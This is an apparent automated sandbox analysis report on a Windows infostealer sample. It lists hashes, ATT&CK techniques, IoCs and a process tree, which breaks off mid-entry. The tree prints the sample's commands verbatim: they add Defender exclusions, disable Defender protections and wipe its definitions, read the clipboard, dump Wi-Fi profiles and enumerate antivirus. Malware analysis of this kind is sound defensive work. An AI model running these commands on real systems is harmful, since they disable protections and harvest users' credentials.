641c9236b81fe3cf6871ff01d6d73d8254cafdcfb5d87c27123c7537c9af5be3

Analysis

max time kernel
150s
max time network
135s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/04/2026, 04:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
Size 7.5MB
Sample260422-e1yg1scy2x
SHA256 641c9236b81fe3cf6871ff01d6d73d8254cafdcfb5d87c27123c7537c9af5be3
MD5 54ceef5df4bd603ea1516d99ce12d4d3
SHA1 1cd931c564cd250b67bf56eb200d8d5ce64ccf30
SHA512 d7a39f6470148de2bf502c7d591c3620b315b528b50fd4533b91d90f7a084b5f7ec1c4b8517ea63a277f0de87f44734e96343d944d8e85885684f31dec598155
SSDEEP 98304:IEeYgI6OshoKyDvuIYc5AhV+gEc4kZvRLoI0EJfNA3z5UTb0Zv9JTSPhlVtQo1f8:IxYmOshoKMuIkhVastRL5Di3tKQSPJ8
TLSH
T1E2763301A3A45CEAF841953EC6CAC556D7337A5623E0D58B079887B20F272AE4C3BF57
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3032	powershell.exe
4800	powershell.exe
4536	powershell.exe
3132	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
4800	powershell.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4140	cmd.exe
1932	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2080	rar.exe

Loads dropped DLL 16 IoCs

pid	Process
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
13	discord.com
14	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
11	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 3 IoCs

discovery

Process Discovery

T1057

pid	Process
4076	tasklist.exe
1216	tasklist.exe
3488	tasklist.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000002432e-21.dat	upx
behavioral1/memory/440-25-0x00007FF843AF0000-0x00007FF8440D9000-memory.dmp	upx
behavioral1/files/0x0007000000024323-27.dat	upx
behavioral1/files/0x000700000002432c-30.dat	upx
behavioral1/memory/440-32-0x00007FF8565E0000-0x00007FF8565EF000-memory.dmp	upx
behavioral1/memory/440-31-0x00007FF854F00000-0x00007FF854F23000-memory.dmp	upx
behavioral1/files/0x0007000000024326-38.dat	upx
behavioral1/memory/440-40-0x00007FF850FC0000-0x00007FF850FED000-memory.dmp	upx
behavioral1/files/0x0007000000024322-41.dat	upx
behavioral1/memory/440-43-0x00007FF852140000-0x00007FF852159000-memory.dmp	upx
behavioral1/files/0x0007000000024329-44.dat	upx
behavioral1/memory/440-47-0x00007FF850E40000-0x00007FF850E63000-memory.dmp	upx
behavioral1/files/0x0007000000024331-46.dat	upx
behavioral1/memory/440-49-0x00007FF843970000-0x00007FF843AE7000-memory.dmp	upx
behavioral1/files/0x0007000000024328-50.dat	upx
behavioral1/memory/440-53-0x00007FF850FA0000-0x00007FF850FB9000-memory.dmp	upx
behavioral1/files/0x0007000000024330-52.dat	upx
behavioral1/files/0x000700000002432a-55.dat	upx
behavioral1/files/0x000700000002432b-58.dat	upx
behavioral1/memory/440-57-0x00007FF851490000-0x00007FF85149D000-memory.dmp	upx
behavioral1/files/0x000700000002432d-61.dat	upx
behavioral1/memory/440-63-0x00007FF850E00000-0x00007FF850E33000-memory.dmp	upx
behavioral1/memory/440-64-0x00007FF842D50000-0x00007FF842E1D000-memory.dmp	upx
behavioral1/memory/440-65-0x00007FF842E20000-0x00007FF843340000-memory.dmp	upx
behavioral1/memory/440-62-0x00007FF843AF0000-0x00007FF8440D9000-memory.dmp	upx
behavioral1/memory/440-66-0x00007FF854F00000-0x00007FF854F23000-memory.dmp	upx
behavioral1/files/0x0007000000024325-67.dat	upx
behavioral1/files/0x0007000000024327-70.dat	upx
behavioral1/memory/440-69-0x00007FF850DE0000-0x00007FF850DF4000-memory.dmp	upx
behavioral1/files/0x0007000000024332-73.dat	upx
behavioral1/memory/440-72-0x00007FF8512D0000-0x00007FF8512DD000-memory.dmp	upx
behavioral1/memory/440-75-0x00007FF852140000-0x00007FF852159000-memory.dmp	upx
behavioral1/memory/440-76-0x00007FF842C30000-0x00007FF842D4C000-memory.dmp	upx
behavioral1/memory/440-88-0x00007FF850E40000-0x00007FF850E63000-memory.dmp	upx
behavioral1/memory/440-148-0x00007FF843970000-0x00007FF843AE7000-memory.dmp	upx
behavioral1/memory/440-187-0x00007FF850FA0000-0x00007FF850FB9000-memory.dmp	upx
behavioral1/memory/440-237-0x00007FF850E00000-0x00007FF850E33000-memory.dmp	upx
behavioral1/memory/440-238-0x00007FF842D50000-0x00007FF842E1D000-memory.dmp	upx
behavioral1/memory/440-255-0x00007FF842E20000-0x00007FF843340000-memory.dmp	upx
behavioral1/memory/440-268-0x00007FF843970000-0x00007FF843AE7000-memory.dmp	upx
behavioral1/memory/440-263-0x00007FF854F00000-0x00007FF854F23000-memory.dmp	upx
behavioral1/memory/440-262-0x00007FF843AF0000-0x00007FF8440D9000-memory.dmp	upx
behavioral1/memory/440-315-0x00007FF854F00000-0x00007FF854F23000-memory.dmp	upx
behavioral1/memory/440-328-0x00007FF842C30000-0x00007FF842D4C000-memory.dmp	upx
behavioral1/memory/440-327-0x00007FF8512D0000-0x00007FF8512DD000-memory.dmp	upx
behavioral1/memory/440-326-0x00007FF850DE0000-0x00007FF850DF4000-memory.dmp	upx
behavioral1/memory/440-325-0x00007FF843AF0000-0x00007FF8440D9000-memory.dmp	upx
behavioral1/memory/440-324-0x00007FF842D50000-0x00007FF842E1D000-memory.dmp	upx
behavioral1/memory/440-323-0x00007FF851490000-0x00007FF85149D000-memory.dmp	upx
behavioral1/memory/440-322-0x00007FF850E00000-0x00007FF850E33000-memory.dmp	upx
behavioral1/memory/440-321-0x00007FF850FA0000-0x00007FF850FB9000-memory.dmp	upx
behavioral1/memory/440-320-0x00007FF843970000-0x00007FF843AE7000-memory.dmp	upx
behavioral1/memory/440-319-0x00007FF850E40000-0x00007FF850E63000-memory.dmp	upx
behavioral1/memory/440-318-0x00007FF852140000-0x00007FF852159000-memory.dmp	upx
behavioral1/memory/440-317-0x00007FF850FC0000-0x00007FF850FED000-memory.dmp	upx
behavioral1/memory/440-316-0x00007FF842E20000-0x00007FF843340000-memory.dmp	upx
behavioral1/memory/440-314-0x00007FF8565E0000-0x00007FF8565EF000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3724	cmd.exe
4524	netsh.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
628	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2672	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 22 IoCs

pid	Process
3032	powershell.exe
3032	powershell.exe
4800	powershell.exe
4800	powershell.exe
1932	powershell.exe
1932	powershell.exe
3032	powershell.exe
3032	powershell.exe
3952	powershell.exe
3952	powershell.exe
4800	powershell.exe
4800	powershell.exe
1932	powershell.exe
3952	powershell.exe
4536	powershell.exe
4536	powershell.exe
3032	powershell.exe
3032	powershell.exe
3132	powershell.exe
3132	powershell.exe
1832	powershell.exe
1832	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4076	tasklist.exe
Token: SeDebugPrivilege	1216	tasklist.exe
Token: SeDebugPrivilege	3032	powershell.exe
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeIncreaseQuotaPrivilege	5100	WMIC.exe
Token: SeSecurityPrivilege	5100	WMIC.exe
Token: SeTakeOwnershipPrivilege	5100	WMIC.exe
Token: SeLoadDriverPrivilege	5100	WMIC.exe
Token: SeSystemProfilePrivilege	5100	WMIC.exe
Token: SeSystemtimePrivilege	5100	WMIC.exe
Token: SeProfSingleProcessPrivilege	5100	WMIC.exe
Token: SeIncBasePriorityPrivilege	5100	WMIC.exe
Token: SeCreatePagefilePrivilege	5100	WMIC.exe
Token: SeBackupPrivilege	5100	WMIC.exe
Token: SeRestorePrivilege	5100	WMIC.exe
Token: SeShutdownPrivilege	5100	WMIC.exe
Token: SeDebugPrivilege	5100	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5100	WMIC.exe
Token: SeRemoteShutdownPrivilege	5100	WMIC.exe
Token: SeUndockPrivilege	5100	WMIC.exe
Token: SeManageVolumePrivilege	5100	WMIC.exe
Token: 33	5100	WMIC.exe
Token: 34	5100	WMIC.exe
Token: 35	5100	WMIC.exe
Token: 36	5100	WMIC.exe
Token: SeDebugPrivilege	3488	tasklist.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeIncreaseQuotaPrivilege	5100	WMIC.exe
Token: SeSecurityPrivilege	5100	WMIC.exe
Token: SeTakeOwnershipPrivilege	5100	WMIC.exe
Token: SeLoadDriverPrivilege	5100	WMIC.exe
Token: SeSystemProfilePrivilege	5100	WMIC.exe
Token: SeSystemtimePrivilege	5100	WMIC.exe
Token: SeProfSingleProcessPrivilege	5100	WMIC.exe
Token: SeIncBasePriorityPrivilege	5100	WMIC.exe
Token: SeCreatePagefilePrivilege	5100	WMIC.exe
Token: SeBackupPrivilege	5100	WMIC.exe
Token: SeRestorePrivilege	5100	WMIC.exe
Token: SeShutdownPrivilege	5100	WMIC.exe
Token: SeDebugPrivilege	5100	WMIC.exe
Token: SeSystemEnvironmentPrivilege	5100	WMIC.exe
Token: SeRemoteShutdownPrivilege	5100	WMIC.exe
Token: SeUndockPrivilege	5100	WMIC.exe
Token: SeManageVolumePrivilege	5100	WMIC.exe
Token: 33	5100	WMIC.exe
Token: 34	5100	WMIC.exe
Token: 35	5100	WMIC.exe
Token: 36	5100	WMIC.exe
Token: SeDebugPrivilege	3952	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeDebugPrivilege	3032	powershell.exe
Token: SeIncreaseQuotaPrivilege	632	WMIC.exe
Token: SeSecurityPrivilege	632	WMIC.exe
Token: SeTakeOwnershipPrivilege	632	WMIC.exe
Token: SeLoadDriverPrivilege	632	WMIC.exe
Token: SeSystemProfilePrivilege	632	WMIC.exe
Token: SeSystemtimePrivilege	632	WMIC.exe
Token: SeProfSingleProcessPrivilege	632	WMIC.exe
Token: SeIncBasePriorityPrivilege	632	WMIC.exe
Token: SeCreatePagefilePrivilege	632	WMIC.exe
Token: SeBackupPrivilege	632	WMIC.exe
Token: SeRestorePrivilege	632	WMIC.exe
Token: SeShutdownPrivilege	632	WMIC.exe
Token: SeDebugPrivilege	632	WMIC.exe

Suspicious use of WriteProcessMemory 57 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 440	4796	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	85
PID 440 wrote to memory of 4252	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	86
PID 440 wrote to memory of 1744	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	87
PID 440 wrote to memory of 2956	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	88
PID 440 wrote to memory of 4512	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	92
PID 440 wrote to memory of 2660	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	93
PID 4512 wrote to memory of 4076	4512	cmd.exe	96
PID 2660 wrote to memory of 1216	2660	cmd.exe	97
PID 4252 wrote to memory of 3032	4252	cmd.exe	98
PID 440 wrote to memory of 820	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	99
PID 440 wrote to memory of 4140	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	101
PID 440 wrote to memory of 1520	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	102
PID 440 wrote to memory of 5012	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	105
PID 1744 wrote to memory of 4800	1744	cmd.exe	106
PID 2956 wrote to memory of 688	2956	cmd.exe	107
PID 440 wrote to memory of 3724	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	110
PID 440 wrote to memory of 2384	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	112
PID 440 wrote to memory of 904	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	114
PID 820 wrote to memory of 5100	820	cmd.exe	115
PID 5012 wrote to memory of 4396	5012	cmd.exe	117
PID 4140 wrote to memory of 1932	4140	cmd.exe	149
PID 1520 wrote to memory of 3488	1520	cmd.exe	119
PID 3724 wrote to memory of 4524	3724	cmd.exe	120
PID 2384 wrote to memory of 2672	2384	cmd.exe	121
PID 904 wrote to memory of 3952	904	cmd.exe	122
PID 440 wrote to memory of 4676	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	123
PID 4676 wrote to memory of 2656	4676	cmd.exe	125
PID 440 wrote to memory of 4532	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	126
PID 4532 wrote to memory of 3160	4532	cmd.exe	128
PID 440 wrote to memory of 5048	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	129
PID 3952 wrote to memory of 4360	3952	powershell.exe	131
PID 5048 wrote to memory of 2540	5048	cmd.exe	132
PID 440 wrote to memory of 3492	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	133
PID 3492 wrote to memory of 3692	3492	cmd.exe	135
PID 440 wrote to memory of 1804	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	136
PID 1804 wrote to memory of 4724	1804	cmd.exe	138
PID 4360 wrote to memory of 632	4360	csc.exe	155
PID 440 wrote to memory of 1044	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	141
PID 1044 wrote to memory of 4536	1044	cmd.exe	143
PID 440 wrote to memory of 2244	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	144
PID 2244 wrote to memory of 3032	2244	cmd.exe	146
PID 440 wrote to memory of 4924	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	147
PID 4924 wrote to memory of 1932	4924	cmd.exe	149
PID 440 wrote to memory of 2996	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	150
PID 2996 wrote to memory of 2080	2996	cmd.exe	152
PID 440 wrote to memory of 3480	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	153
PID 3480 wrote to memory of 632	3480	cmd.exe	155
PID 440 wrote to memory of 3860	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	156
PID 3860 wrote to memory of 1800	3860	cmd.exe	158
PID 440 wrote to memory of 1324	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	159
PID 1324 wrote to memory of 2792	1324	cmd.exe	161
PID 440 wrote to memory of 4288	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	162
PID 4288 wrote to memory of 3132	4288	cmd.exe	164
PID 440 wrote to memory of 4200	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	165
PID 4200 wrote to memory of 628	4200	cmd.exe	167
PID 440 wrote to memory of 3732	440	2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe	168
PID 3732 wrote to memory of 1832	3732	cmd.exe	170

C:\Users\Admin\AppData\Local\Temp\2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Users\Admin\AppData\Local\Temp\2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4252
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2026-04-22_54ceef5df4bd603ea1516d99ce12d4d3_cobalt-strike_glassworm_hijackloader_icedid_luca-stealer_njrat_satacom_vidar.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1744
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Le logiciel n\x22a pas pu etre démarrer ', 0, 'AVERTISSEMENT', 0+16);close()""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2956
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Le logiciel n\x22a pas pu etre démarrer ', 0, 'AVERTISSEMENT', 0+16);close()"
      4⤵
      PID:688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4512
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4076
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2660
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:820
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:4140
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1520
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:3488
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3724
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2384
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:2672
- - C:\Windows\system32\cmd.exe
